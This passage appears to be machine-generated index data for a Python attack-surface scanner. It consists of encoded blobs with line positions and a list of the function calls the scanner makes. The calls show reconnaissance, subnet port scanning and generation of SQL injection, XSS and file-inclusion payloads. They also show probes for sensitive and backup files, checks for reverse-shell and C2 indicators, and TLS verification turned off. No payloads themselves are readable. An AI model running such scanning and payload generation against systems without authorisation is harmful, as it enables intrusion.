IeLaeIeLaeIeLaeIeLaeIeLaeIeLaeIeLaeIeLaeIeLaeIeLaeIeLaeIeLaeIdq", "ln": 72016, "col": 47, "line": 1813 }, { "b": "x(k5iB-.OBBs}SRA+PFvdk2WXy?X0cx(mH6c[dg:arR^HarR^HarR^Hx\u003ewFiC0f[=w?+FLx(k5fx(mGmy\u0026sJeAWSv$3lQDlarR^HarR^HarR^HaAz4nB-Ivxy?W=#e]#bPx(CEHe]#bPx(CEFa$1/DarR^HarR^HA+funA=90za{[V1arR!qwO95(v}U", "ln": 73381, "col": 18, "line": 1844 }, { "b": "xl4{kA40B\u00263lQDlarR^HarR^HazCBgzF%RtvpKy[z/dgGByxiiB9ztuxECnMxMOuniXJcgefDcIBAzFyiXJcgdjEp+arR^HarR^HarR^HarR^HvpKy[z/cWXaAIagw?EC1vrl0!B-Ipvd\u003cengBzkVh3lQDlarR^HarR^Haz2C3AbPDdBAo6yAbYxawgh^GvpKy[z/c:WayO=4x(v(uar\u003eVlBzbP6b03?\u003cp!$1?a$K\u0026XBA}?pb03?\u003cw]zZbb7g)E3lQDlarR^Har@0{p!rlWBA}Xlaz2C3AbPDdBAnNszxILI3lQDlarR^HayPk6uVoB}By/GgauZ\u0026/wIdFhze:i9wHINDtoWr1t{}]#B-qenvpT:$x(4vdvruQ1v}YZ\u003czGHnywN]H-df", "ln": 74422, "col": 24, "line": 1870 }, { "b": "ax]f}arR^HarR^HarR^Pb5zggx(kaCaAwUOkrrR0xk8mhB7]o8tp\u003ch/kwt1.y\u0026r@\u003ceNI^Fx(kvzefF%SAa9*eCw?Ija$k5IarR^HarR^HarR^Hc)A.DxkR\u003cha$K\u003cSa$bVpB7]o8tp\u003ch/kxQ{)A+e($B97#lD$)OlzHt@mwNPW(tp\u003ch/kvF5iz/]@tdiZq=ph+2Ydj+/GarR^HarR^HarR^Pb5Q$oB8kAfBy/FpefF%Sc{G+gwP@iiwPS39", "ln": 76675, "col": 21, "line": 1921 }, { "b": "arR!IwN/?2A=S\u003cwAbYxawgh^GBA}?pb03\u0026UBA}?pefDcBv@#B6zx.a:vpKy[z/d9Gb4+L2y?dPhiV@3GwO+)#trjSEEjkHgarR^HarR^HA+funA=91ywN/?2A=RM{arR^HwmYu", "ln": 77839, "col": 18, "line": 1942 }, { "b": "vruQ5A=96Zaz\u003eLev}WGcA=l8tc[)8OiX-rxu41de3lQDlarR^Har@0{y\u0026:Iqv}YB-yANkcAV!$9ByO#qswqEWBAzF1wPq\u003c7B95KzvruQ5A=b}vBzb98aAR4cwGT#JoMHK-arR^HarR!swPRA}uVoB}By/GgauZ\u0026/wIdFhze:i9wHE)darR^HarR^HarR!EcN.huw[u6]xNA]RoH%nEA8Hm!B.bSoD%wpjyghvmvr=H8B17vndQjxbB1gxrtQJ/9krn", "ln": 78962, "col": 62, "line": 1968 }, { "b": "CYmOxB-I4AaAzJL3lQDlarR^HarR^Haz2w6w/$J1C{)DLazCZoBzk\u0026kwNxm(Cv+!qw]zYjyJ*[nzxJdcwQ5fgz!TqqefDcQvr(WcvpQMkar\u003e#Ky\u0026i*8vpA}!x([RAefDcYB8@JRar\u003e(Dy?U7Aar\u003eSlx^b8Jb6myaxD*.hiTM#LarR^HarR^HarR^HarU=qv}YjXCYmFqx()=)x(4H9C{2l)zddVqBy!@}uUaF3y\u0026s3fvpA}!x([RKaAzJ", "ln": 81089, "col": 49, "line": 2016 }, { "b": "wNxm(Cv+!qw]zYjyJ*[nzxJdcAa\u0026%bxLzu%a$K\u0026XB-qenvpQMkar\u003exlvqfK4efDcTB8\u003e\u003epefDcEwO=77wPA5uefDcGz/PXst}4/warR^HarR^HarR^HarR^HwmYN\u003eC4y", "ln": 81321, "col": 32, "line": 2019 }, { "b": "az2CjA^q2nwN/?2AY\u003eQyxLzK3x(mMawO\u003e\u003c\u0026y:7zqarR^HarR^HarR^HarR^HwQ4{huVfy*wN/*@C4A/XlVM:GwO#Q7vqE6dxK$^$atj\u003cCv}fC1zGE1hz/6Dlz/6ifwG\u0026VjarR^HarR^HarR^HdjCPharR^HarR^HboP]ZoLD81AaJJ[w[+-$Aa9\u003c43lQDlarR^HaAIKsx\u003cUE^zE^E0xlbgUax@C2w]zYjw/$/9aztF4xKt^]B88[jw/@psACM*wx(k59", "ln": 83611, "col": 16, "line": 2064 }, { "b": "arR^HarSG$h98\u003c7q+YO5ed9HxarR^HarR^HarSx}gC.6mb280mqa@e+3lQDlarR^HarR^HatC-ef/*B3pJx(Ny?j!w3lQDlarR^HarR^HatU/chAz%8o)GVmoD(1{arR^HarR^HarR^HgC.0JiV]RAl@k6U3lQDlarR^HarR^Hat\u003e#igccK4p\u0026yz%xl4MZqa@e+3lQDlarR^HarR^Hat(ekfGHs2r.=1aed9HxarR^HarR^HarSM#h-S]wb2R#.x(+EH3lQDlarR^HarR^Hauh5mfGHs2nk@L+eKsh{a$K6zarR^HarR^HarR^^g=d0Har\u003cuQr8uHBl2pS!ed9HxarR^HarR^HarSW1fFCKgb1lrRB98baB7F^2v}W5q3lQDlarR^HarR^HatL(ff/Icob28#[xkZg8a$K6zarR^HarR!P3jm)#arR^HarR)Kp\u0026ZF-wGV5jzdK\u00261z/6ufzxJ[pA==vBz/cXrwPI^aC4ChbnL\u003cEnarR^HarR^Hw]zYjx(ChezxK1iy?tqbx(Fb$iX\u003c#4arR)Ky?W:2BrCWzatL6hp\u0026=%^arQ", "ln": 84904, "col": 7, "line": 2097 }, { "b": "arR^HarR^HarR^HarR^Hb6dsoC4\u003eC$b03\u0026/wPz%dv}vg#arR^HarR^HarR^HarR^HarR^HarR^HarR^Hb6d\u003cmBAITGiV]R+AaJ]hed9HxarR^HarR^HarR^HarR^HarR^HarV7Y3lQDlarR^HarR^HarR^Haz2!cwPh-ld06rpyH}PuwPz*fAX5teq:\u003e.Ez/No/3lQDlarR^HarR^HarR^HarR^HaAg+gA%-l%arR^HarR!EwPS6nzxJUhwb", "ln": 85909, "col": 13, "line": 2125 }, { "b": "ayPkdy?Wx/BzkVhaAg+hxMBI6arR^HarR!nAbYf6vrug7auZ\u0026K3lQDlarR^HarR^Har\u0026EEwnM3#a$K\u0026XfkLMtx(kaCar\u0026EEAa{HEar\u0026EHvrl9\u003ez^^V%a$K\u0026XfjO{rB8L(aa$K6zarR^HarR^HarR^JfkUcnvp%d*wO#PlefDb\u0026zddr\u003cxjV9cefDb\u0026AbP=svqEbsar\u0026EGz/fVqz!{QG3lQDlarR^HarR^Har\u0026E.A4LHeze0(iefDb\u0026vpTj?zFsflA::6dAW04Sa$[7WwPw$Car\u0026ETA=kM7y?j!w3lQDlarR^HarR^Har\u0026EWwPS6la$K\u0026XfkkrBByx04a$K\u0026Xfk$PzzfYM2ze0(iefDb\u0026Aa\u003ci8zF0/hed9HxarR^HarT}%3lQDlarR^HazbLjaAg+hxDR2bayPkduVoB}xMDiwarR^HarR^HarR^", "ln": 86318, "col": 17, "line": 2137 }, { "b": "v@3jauUaF7wO#N6z/fRsjS)@oarR^HarR^HarR^Ha$^tkyA+qLa$^tkv@3jaa$K\u0026Xe]LMpa$K\u0026Xe]L=AxcF(Ha$^}BC4z\u003cGar\u0026BVCw[-S3lQDlarR^HarR^Har\u0026BVACM*Iar\u0026BVACNmuDlK).a$^$CAXq0Ja$K\u0026Xe{.kJa$K\u0026Xe{7Jxa$K\u0026Xe\u0026O82ed9HxarR^HarR^HarR\u003cXvQT48DtdsxefDb?B8=1GvQT3@efDb?wmu-lar\u0026BVACPuhwG\u0026VFa$^wDB%nEAarR^HarR^HarR^Hb4CLew[+)gAa\u003chyvQT3@efDb?xMNV)v}x.5e[em8a$K\u0026XCv+kov@z", "ln": 88255, "col": 11, "line": 2184 }, { "b": "arR!pz/ff3xj2K+zdN=hjS)@oarR^HarR^HarR^Ha$^CAB%nEWa$^CAB$NPHv{%f$efDb?wO#VzAb](cBZ]Jcz/c:Iar\u0026BHzGWTywP?T3z/xM8zGE6N3lQDlarR^Hao", "ln": 89332, "col": 6, "line": 2209 }, { "b": "z/ff3xlwl6BzkVhe]UGya$K6zarR^HarR^HarR^JwmoN*vQTs?e{RqIa$K\u0026XB7F\u003c4wPR#Cyiarha$K\u0026Xv@=c\u003ewO#Q7vqH0qyiarha$K6zarR^HarR^HarR^JCv+kov@Dl%x\u003eFRvar\u003elkA4UTszF0P}a$K\u0026Xvq{gbwPS3dzFa2yyiarha$K6zarR^HarR!j3lQDlarR^HazbLjay/1@azCZov@Dl%x\u003eH^\u003cvqPN%iTM#LarR^HarR^HarUxgay/1@e]kDI", "ln": 89631, "col": 32, "line": 2214 }, { "b": "azbLjay/1@azCZotoUXhzGWiPar\u003erlzF0P}a$K\u0026XB7F\u003c4wPPaEar\u003e=kB8#LzA+3w1dlm!UarR^HarR^HarR^HarR!pz/ff3xlbXlAbYxawgh^Gw[=6)b03\u0026Wwo83)wQa", "ln": 90084, "col": 42, "line": 2224 }, { "b": "c#{Xtb3VH3c[=#ki^2yTz^^f$kyv6Sy?mVLD#iC9x\u003c(y0z/fVdzGHnpvrt}9BzU#ABy/rdD$cO{xK@R%ulSS4t}dpcb3VH3cOcxYwO+%huT^}:D0+V8CYUFVA+c\u003c{m[#\u0026TmmfvtmjwM^arR^HarR!sz/M$hazCZoB-qenvpS.Qx(XnQ3lQDlarR^HarR^HazC.7x\u003e7N[z/P[Kvq{f%zE+exb6n9HwG\u003ceTb6v\u003cvz^^f-wnc6}v@#TfC{j^Zb5*$jxD/FWwpk)l3lQDlarR^Har@15z/ozlw]zYjwnc6}v@#TfC{3{qB98blxcp]awnbKZBz(hv3lQDlarR^HazCBgA+c\u003eAwNPQ?xEE)BnP56ICPZ{pD{?W?wN/?2A^n^zx(!xgzFat[vrb{%BrA$=A+e:5z/L", "ln": 90513, "col": 33, "line": 2234 }, { "b": "A=S\u003cCwPPsAvqG:#CoONXa%FDyarR^HarR^Hx\u003ewFip/QEsazCZovqG:#Cvb2{vpS}\u0026aA8oyb3dVlr7d#Nx(k54y\u002613luUB1VwmY^x3lQDlarR^HarR^HazC.7x\u003e7M", "ln": 91035, "col": 35, "line": 2243 }, { "b": "uUj1*wPF$Sax]f}arR^HarR^HarR^Je[emgxMvPbefDb?vQTs\u003euVp47w[=6)a$K\u0026Xe]U\u0026Hw[=6)a$K\u0026Xe[emgxKtB!B98tvC{j^DarR^HarR^HarR^Ha$!g.xMvPbefDb?Dui+bxLzKfz/QaEed9HxarR^HarR^HarR\u003cYwPRAnx(mTbe[uQVefDb\u0026wPRAnA:{.rz!0i(a$K\u0026Xfj/lnflqzWBy/r1fcR}OarR^HarR^HarR^Hb4LR4yH}Jrv@Dj6z/YFxD2mvwefDc8z!0M]A+o34wG\u0026VjarR^HarR^Ht).X%arR^HarUomAV/BnazCZoB97\u0026hBAILfw[=6)B2\u003cTJarR^HarR^HarR!vw/#ebe]kDIwPxgFazCZoB7Gf1e)\u00267awo?K7wQ5qHy\u0026sJeAS", "ln": 92164, "col": 16, "line": 2272 }, { "b": "arR!zwN/yZzFsfeB09Q*tm8F}arR^HarR^HarS6RCv+l8xK#0@uV*s7z^^f2efG1By?tqbw[=c[uV*s7z^^f-wO#3$z!T9hB0@E*aug#cdj+/GarR^HarR^HarR^Pb4CLe", "ln": 94561, "col": 6, "line": 2335 }, { "b": "z//u2wfJDN3lQDlarR^HarR^HasImOvScu)eNI^FBz\u003e@azxZROb4tFjuVZj4wO@Xved9HxarR^HarR^HarS7Mb4ta(v@Dl?eNI^Fx\u003eezsar\u003eoavpKj[uUK3{dj+/GarR^HarR^HarR^PAW2jmAbn%2BxZt7t%A4la$K\u0026Xx(d*9vqZf]x\u003eezped9HxarR^HarR^HarS7Mb4ka}zGG8muTk)gwfJMEb4ka}zGGl1wfJDN3lQDlarR^HarR^HasImOCw?IqwPz0buTk)gwfJMEb6N%CyH}J[x\u003eezped9HxarR^HarR^HarS7Mb5?Epy*eF#t%A4vBy/GovqEbsar\u003e=yy\u00260D)zGGDgC42hhdj+/GarR^HarR^HarR^PAW2gdvrcE0wNPW8ec", "ln": 97354, "col": 31, "line": 2399 }, { "b": "arR^HarR^HarR^PAW2ZGv@=p5Bx*CtxK#0@a$K\u0026XCxmnmx(Ff3B7/c3y:7qV3lQDlarR^HarR^HasImOB7/c3y?4x]wG\u0026VFb6dBey\u00260Q1wmYa*wObH]wO#0?a$k5IarR^HarR^HarR^Hc#{IGwPRH7Ab]JiwPw$Car\u003eVlBy/GiA+fu7A:J\u0026#w[u0]zEWl4dj+/GarR^HarR!j3lQDlarR^HazbLjaAg+hBy/GgefF?szdK\u00267zxK1lwO=f\u0026z#", "ln": 100280, "col": 2, "line": 2469 }, { "b": "arR^HarUupyJ7yVaAIagw?EC7wNPaXA=S\u003cCwPPsAAckSax\u003e5-gwQb\u003eDx(m#oefDbXdgdguarR^HarUxgazt.fA5[sGarR^HarR^HarR!EwPJ0gBxY@6zE^D\u003evruBdB0s)xvq{e", "ln": 102404, "col": 3, "line": 2520 }, { "b": "ax]f}arR^HarR^HarR!Eb4CCcB.292vrb{6efF%Svqxp*vqc]paAwVoy\u0026sDbw].*cBrSmUAW2a7B98kza$K6zarR^HarR^HarR!Eb57[kwPz%5a$K\u003cSb57}8vq{pgy*!IsaAwVEBZ]Mmx^b8JAW1}rB-I4$at3(hA=k\u0026qa$K6zarR^HarR!j3lQDlarR^H", "ln": 103901, "col": 23, "line": 2553 }, { "b": "arR^HarR^HarUXGc{G+9A=tJoBzbYew]@AtA=l5rvS=pgxl4B1xMm\u0026qa$K6zarR^HarR^HarR!Ea$bVpA+e=}B2\u003e%cD#iCiv{@\u003eXwN)?PfmmhBAD0@(fmm!GvQ:4[ze?P\u0026fdw7@3lQDlarR^HarR^HaAwUOkrrK\u0026vQ?DDzfZhxy=Tj5D#K1BBz2S9B2\u003e%cD#i!txk.r\u0026iXJcna$K6zarR^HarR^HarR!Ea$bVpx(n37A=br4tp\u003ch/kvFIBD#\u0026\u003etC4\u003eC$tp\u003ch/kw:$MxNBVhv@=G(eNI^FB7Gxnx\u003e7Z6a$K6zarR^HarR!j3lQDlarR^HazbLjaAeDqzxK1iA=#ebwNxy+BAz8mzGv\u0026CarR^HarR^", "ln": 107205, "col": 3, "line": 2641 }, { "b": "yH}Jex(mD}v{%E$A=RNgarR^HarR!xiceCCvruQ5A=b}vjS)%Hb5qsgwPzW1By/IqefF%SyDcwVefF%Swn+%[wPw$CaAwVoz/fV9x(mH5a$K\u003cSb5?Ehb3+J#arR^HarR!sz/M$tazCZoyDcxxAa9\u003cgwPzWfiTM#LarR^HarR^HarUxgaAz3CB7F^2v}WofefG1By?tqbvSb!5uVY\u003e7BsXLPwIcLApes+RlQsTtdlm!UarR^HarR^HarQ", "ln": 107626, "col": 35, "line": 2650 }, { "b": "zxJ[bBzb.Fa%FirarR^HarR^HAa9\u003c4B2\u003eBqx(!x2l${dMtxs[befEk@D0KX#jS)%m3jm)#arR^HarR)Kl1B?DzxJUhBy/G8vpJ\u003c\u003ewmY\u003c]v@#B6zvdHearR^HarU96ze0({Aa9\u003cgwPzWfauZ\u0026K3lQDlarR^HarR^HaAwUVvpTj?zxZROAW0eBwnM3#x(!xpvruBda$K\u003cSa$[dVeN-gbx(kaCaAwUVzddr\u003cxjV9ced9HxarR^HarR^HarUXGflqnPwPz{mwPw$CaAwUVA=k(ra$K\u003cSa$[1.B75P@x(kaCaAwUVv@L\u003c]wO-Lw3lQDlarR^HarR^HaAwUVAbo9byA+qLAW0eXwNYH\u003czxZROAW0eVB7Gx2wnM3#a$K\u003cSa$)!KwmY^\u0026Bz(gzed9HxarR^HarT}%arR^HarR^Hw]zYjA3e\u003ejayO!$x(mo%ve", "ln": 108246, "col": 40, "line": 2666 }, { "b": "arR^HarUXGA=k=9D#JUqze16jx(v)pAb]Vox(4u[wQE{eBzbPkx)Kifx(v(ked9HxarR^HarR^HarUXGx(^S\u0026wnM3#D$^UeB9hCkA=(CmA^ROxuVQr$w[DB7vrk^@z!@#eed9HxarR^HarT}%arR^HarR^Hw]zYjA3e\u003ejaAzypwNxy+BAz8mzGv\u0026CarR^HarR^HarR^Hx\u003ewGdwIe4nvrb\u003c\u003ec#ZZWB7Gf1e)\u00267awo?K7wQ5qFaAz3CnK(JK", "ln": 109040, "col": 7, "line": 2687 }, { "b": "3jm)#arR^HarR)Kq/#R?fh)0ox(mD}v{%E$A=RNgarR^HarR!vw/#b9e]$PjA:@=hAW2NEwn=\u003cpBZf0nA=(ndB9}}Ex)aibwOkM#efG1By?tqbvSb!5uVY\u003e7BsXLPwIcLApes+RlQsTtdlm!UarR^HarR^HarR!Cvrug7e[5ZrwO#3bDKp(rarR^HarR^HarR^HarR\u003eID2NssiV]RTy?m=#BzkVhuU%v:xKL^)B8r9L3lQDlarR^Hao", "ln": 109490, "col": 19, "line": 2697 }, { "b": "ax]f}arR^HarR^HarR!Ea$bVpvq]{+uObLFyH}^svq]{@wQeViAa@J-eNpO.z!\u0026{4D%{I{wPI]%uObLFBz\u003e@azHuIpv@=d5tve%/kwK?QdiZqIarR^HarR^Ht).X%arQ", "ln": 109916, "col": 27, "line": 2709 }, { "b": "3lQDlarR^HarR^HasImOAa9*eAbP=sD#9IbwO#N2D$^a}uObLFzGP/9wPw$Car\u003cr]C4CYizdNQbaw1$xa$k5IarR^HarR^HarR^Hc#{IwA+e=}BxZt7t%z?cA+6Mc", "ln": 113931, "col": 67, "line": 2793 }, { "b": "arR^HarR^HarR^PAW2TEwPzV%zdO9lvrlHlz/Pxov@=c\u003ewO#Q7vqEbsar\u003cf[wN]v\u0026Bzkf1B0r4:3lQDlarR^HarR^HasImOw[=pbBxZt7t%AjnzdO9hvrlJ{eNI^FzEEx[D$A", "ln": 114155, "col": 2, "line": 2797 }, { "b": "rZ!htarR^HarR^HwO=6)aAIaiB7]-gC4(5zuVPZ}A+cvSjS(KkfGGK-arR^HarR^HarR!ywP?T3auZ?\u003enLSkNqCGIKa{]CnarR^HarUliB7ExtarR^HarR^HarR^Hy?m^3y-\u003e\u003e-b2zoaoI4O}3jm)#arR^HarUYoBAIRwaBsCrarR^HarR^HarR^JB7Glgx([6jx([Scy?m^3y:7[.y?m^3y+b]oarR^HarR^HarR^JB7Glgx([6jx([Sc", "ln": 115899, "col": 29, "line": 2837 }, { "b": "A=RNgarR^HarR!Evru6/y?W:2ByeY)vpS}\u0026B09Q*toXqzA::63y?W:2BrSmUb6UXWvru6jy?W:2BrSmUb64mpA^olBw]}Q8b3+J#arR^HarR!uvrk^@vru6/y?W:2BzkS9auZ\u0026QzH0TzazCZoB7Gf1e)\u0026p6vpS}\u0026B0b7kAV/3rx(k5lvru6/y?W:2ByeY)vpS}\u0026B14CsarR^HarR!vw/$#fBrCm9B6\u0026@@By!/}x(dNax(mMA3lQDlarR^HarR^Hao", "ln": 117058, "col": 36, "line": 2871 }, { "b": "x\u003equra%FirarR^HarR^HAb](sz!0Z4B2\u003eBqx(!x2l${dMtxs[befEk@D0KX#jS)%m3jm)#arR^HarR)Kl@3V6wQ4*3y\u0026\u003cYaBzkVhaAhmvwO#Q7vqDn[arR^HarR!vw/#b9e]$PjA:@=hAW24iB9@1tB8L(rwQFrjz!\u003cGma$K\u003cTwO+%huT^}:D0+V8CYUFVA+c\u003c{m[#\u0026Tmmfvtmjyn8arR^HarR^HarR^HAb](sz!0Z4B1Q)uAaJ]$d0(pzarR^HarR^HarR^HarR^JAb](sz!0Z4b03?\u003cl@3V8ed9HxarR^HarR^HarR^HarR\u003eBwPRQ7wfK5Sb1bg8aAR:zzE)S#zF7dA3lQDlarR^HarR^HarR^Har\u003eAevrlc(x(4H9C{ko(hzc\u003cr3lQDlarR^HarR^HarR^Har\u003eucB7ol8Acb/jzx.a:b1bg8aAz4mz!%Mrx(v(iv{%s+vRGT)BA]0sz/](baz2C0vR/P#l@3VjvQTs?wftDdw[=5", "ln": 118609, "col": 62, "line": 2912 } ], "depth": 1, "facts": { "imp": [ [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "field" ], [ "", "field" ], [ "", "dataclasses.asdict" ], [ "", "field" ], [ "", "field" ], [ "", "field" ], [ "", "hashlib.sha256.hexdigest" ], [ "", "hashlib.sha256" ], [ "", "raw.encode" ], [ "", "dataclasses.asdict" ], [ "", "phases.get" ], [ "", "finding.get" ], [ "", "finding.get" ], [ "", "finding.get" ], [ "", "finding.get" ], [ "", "node.children.append" ], [ "", "finding.get" ], [ "", "self._all_techniques.append" ], [ "", "self.root.children.append" ], [ "", "len" ], [ "", "node.get" ], [ "", "max" ], [ "", "_depth" ], [ "", "_depth" ], [ "", "len" ], [ "", "set" ], [ "", "sorted" ], [ "", "set" ], [ "", "self.get_max_depth" ], [ "", "phases.items" ], [ "", "PHASE_LABELS.get" ], [ "", "len" ], [ "", "f.get" ], [ "", "f.get" ], [ "", "round" ], [ "", "sum" ], [ "", "len" ], [ "", "round" ], [ "", "max" ], [ "", "bucket.techniques.append" ], [ "", "finding.get" ], [ "", "finding.get" ], [ "", "finding.get" ], [ "", "self._phase_scores.items" ], [ "", "phase_weights.get" ], [ "", "round" ], [ "", "sum" ], [ "", "self._phase_scores.values" ], [ "", "round" ], [ "", "len" ], [ "", "self._classify_risk" ], [ "", "_classify_score" ], [ "", "_unverified_context" ], [ "", "urllib.request.Request" ], [ "", "urllib.request.urlopen" ], [ "", "k.lower" ], [ "", "resp.getheaders" ], [ "", "resp.read" ], [ "", "resp.getcode" ], [ "", "socket.getaddrinfo" ], [ "", "set" ], [ "", "seen.add" ], [ "", "results.append" ], [ "", "socket.gethostbyaddr" ], [ "", "subprocess.run" ], [ "", "target.strip.lower" ], [ "", "target.strip" ], [ "", "re.sub" ], [ "", "re.sub" ], [ "", "sorted" ], [ "", "set" ], [ "", "EMAIL_PATTERN.findall" ], [ "", "freq.get" ], [ "", "len" ], [ "", "freq.values" ], [ "", "p.bit_length" ], [ "", "p.bit_length" ], [ "", "p.bit_length" ], [ "", "freq.values" ], [ "", "math.log2" ], [ "", "round" ], [ "", "base_url.rstrip" ], [ "", "_extract_domain_from_target" ], [ "", "self._initial_fetch" ], [ "", "self._phase_reconnaissance" ], [ "", "self._phase_weaponization" ], [ "", "self._phase_delivery" ], [ "", "self._phase_exploitation" ], [ "", "self._phase_installation" ], [ "", "self._phase_command_and_control" ], [ "", "self._phase_actions_on_objectives" ], [ "", "AttackTree" ], [ "", "tree.build_from_phases" ], [ "", "ThreatMatrix" ], [ "", "matrix.ingest_phases" ], [ "", "p.to_dict" ], [ "", "self._phases.items" ], [ "", "tree.to_dict" ], [ "", "matrix.to_dict" ], [ "", "_dns_resolve" ], [ "", "float" ], [ "", "_http_fetch" ], [ "", "self._body_bytes.decode" ], [ "", "KillChainPhase" ], [ "", "list" ], [ "", "time.time" ], [ "", "time.time" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "len" ], [ "", "_reverse_dns" ], [ "", "float" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "self._enumerate_subnet" ], [ "", "findings.extend" ], [ "", "self._harvest_dns_records" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "len" ], [ "", "self._whois_lookup" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "len" ], [ "", "_extract_emails" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "len" ], [ "", "self._extract_subdomains_from_page" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "len" ], [ "", "self._asn_lookup" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "asn_info.get" ], [ "", "asn_info.get" ], [ "", "self._detect_technologies" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "round" ], [ "", "max" ], [ "", "_classify_score" ], [ "", "round" ], [ "", "time.time" ], [ "", "KillChainPhase" ], [ "", "list" ], [ "", "time.time" ], [ "", "time.time" ], [ "", "self._detect_technologies" ], [ "", "TECH_SIGNATURES.items" ], [ "", "tech_info.get" ], [ "", "tech_info.get" ], [ "", "tech_info.get" ], [ "", "sig.lower" ], [ "", "self._headers.items" ], [ "", "hdr_val.lower" ], [ "", "tech_info.get" ], [ "", "re.search" ], [ "", "round" ], [ "", "round" ], [ "", "max" ], [ "", "exploit_payloads.items" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "tech_name.capitalize" ], [ "", "exploit_payloads.keys" ], [ "", "list" ], [ "", "exploit_payloads.keys" ], [ "", "self._generate_sqli_payloads" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "len" ], [ "", "self._generate_xss_payloads" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "len" ], [ "", "self._generate_lfi_payloads" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "len" ], [ "", "min" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "len" ], [ "", "sum" ], [ "", "len" ], [ "", "all_payloads.values" ], [ "", "round" ], [ "", "max" ], [ "", "_classify_score" ], [ "", "round" ], [ "", "time.time" ], [ "", "KillChainPhase" ], [ "", "list" ], [ "", "time.time" ], [ "", "time.time" ], [ "", "self._check_mx_records" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "self._check_spf" ], [ "", "spf_record.lower" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "self._check_dmarc" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "self._find_upload_endpoints" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "len" ], [ "", "self._check_upload_restrictions" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "len" ], [ "", "upload_restrictions.get" ], [ "", "self._detect_phishing_vectors" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "len" ], [ "", "self._detect_ssrf_endpoints" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "len" ], [ "", "self._check_open_relay" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "relay_check.get" ], [ "", "relay_check.get" ], [ "", "round" ], [ "", "max" ], [ "", "_classify_score" ], [ "", "round" ], [ "", "time.time" ], [ "", "KillChainPhase" ], [ "", "list" ], [ "", "time.time" ], [ "", "time.time" ], [ "", "self._phases.get" ], [ "", "all_prev_findings.extend" ], [ "", "sorted" ], [ "", "f.get" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "len" ], [ "", "v.get" ], [ "", "self._compute_exploit_feasibility" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "self._identify_attack_paths" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "path.to_dict" ], [ "", "self._detect_remote_service_indicators" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "len" ], [ "", "self._detect_public_facing_apps" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "len" ], [ "", "round" ], [ "", "max" ], [ "", "_classify_score" ], [ "", "round" ], [ "", "time.time" ], [ "", "KillChainPhase" ], [ "", "list" ], [ "", "time.time" ], [ "", "time.time" ], [ "", "self._probe_sensitive_paths" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "len" ], [ "", "self._discover_backup_files" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "len" ], [ "", "self._discover_config_files" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "len" ], [ "", "self._detect_writeable_indicators" ], [ "", "findings.append" ], [ "", "_make_finding" ], [ "", "len" ], [ "", "self._detect_cron_indicators" ], [ "", "len" ], [ "", "self._detect_startup_exposure" ], [ "", "len" ], [ "", "self._detect_database_dumps" ], [ "", "len" ], [ "", "self._assess_persistence_opportunities" ], [ "", "len" ], [ "", "persistence.get" ], [ "", "round" ], [ "", "max" ], [ "", "_classify_score" ], [ "", "round" ], [ "", "time.time" ], [ "", "KillChainPhase" ], [ "", "list" ], [ "", "time.time" ], [ "", "time.time" ], [ "", "self._detect_c2_paths" ], [ "", "len" ], [ "", "self._detect_botnet_signatures" ], [ "", "self._analyze_dns_c2_patterns" ], [ "", "self._detect_reverse_shell_indicators" ], [ "", "self._detect_websocket_endpoints" ], [ "", "self._analyze_encrypted_channel_potential" ], [ "", "encrypted.get" ], [ "", "encrypted.get" ], [ "", "self._detect_proxy_indicators" ], [ "", "round" ], [ "", "max" ], [ "", "_classify_score" ], [ "", "round" ], [ "", "time.time" ], [ "", "KillChainPhase" ], [ "", "list" ], [ "", "time.time" ], [ "", "time.time" ], [ "", "self._score_exfiltration_risk" ], [ "", "self._assess_lateral_movement" ], [ "", "self._identify_privesc_paths" ], [ "", "self._calculate_business_impact" ], [ "", "self._infer_data_classification" ], [ "", "self._assess_dos_impact" ], [ "", "self._analyze_alternate_exfiltration" ], [ "", "round" ], [ "", "max" ], [ "", "_classify_score" ], [ "", "round" ], [ "", "time.time" ], [ "", "ip.split" ], [ "", "int" ], [ "", "socket.setdefaulttimeout" ], [ "", "float" ], [ "", "socket.socket" ], [ "", "sock.connect_ex" ], [ "", "sock.close" ], [ "", "_reverse_dns" ], [ "", "_run_subprocess" ], [ "", "output.strip.splitlines" ], [ "", "output.strip" ], [ "", "line.strip" ], [ "", "line.startswith" ], [ "", "line.startswith" ], [ "", "records.append" ], [ "", "_run_subprocess" ], [ "", "re.search" ], [ "", "match.group.strip" ], [ "", "match.group" ], [ "", "set" ], [ "", "re.compile" ], [ "", "re.escape" ], [ "", "link_pattern.finditer" ], [ "", "match.group.lower" ], [ "", "match.group" ], [ "", "subdomains.add" ], [ "", "full.split" ], [ "", "re.compile" ], [ "", "re.escape" ], [ "", "self._domain.replace" ], [ "", "js_pattern.finditer" ], [ "", "match.group.lower" ], [ "", "match.group" ], [ "", "sub.startswith" ], [ "", "subdomains.add" 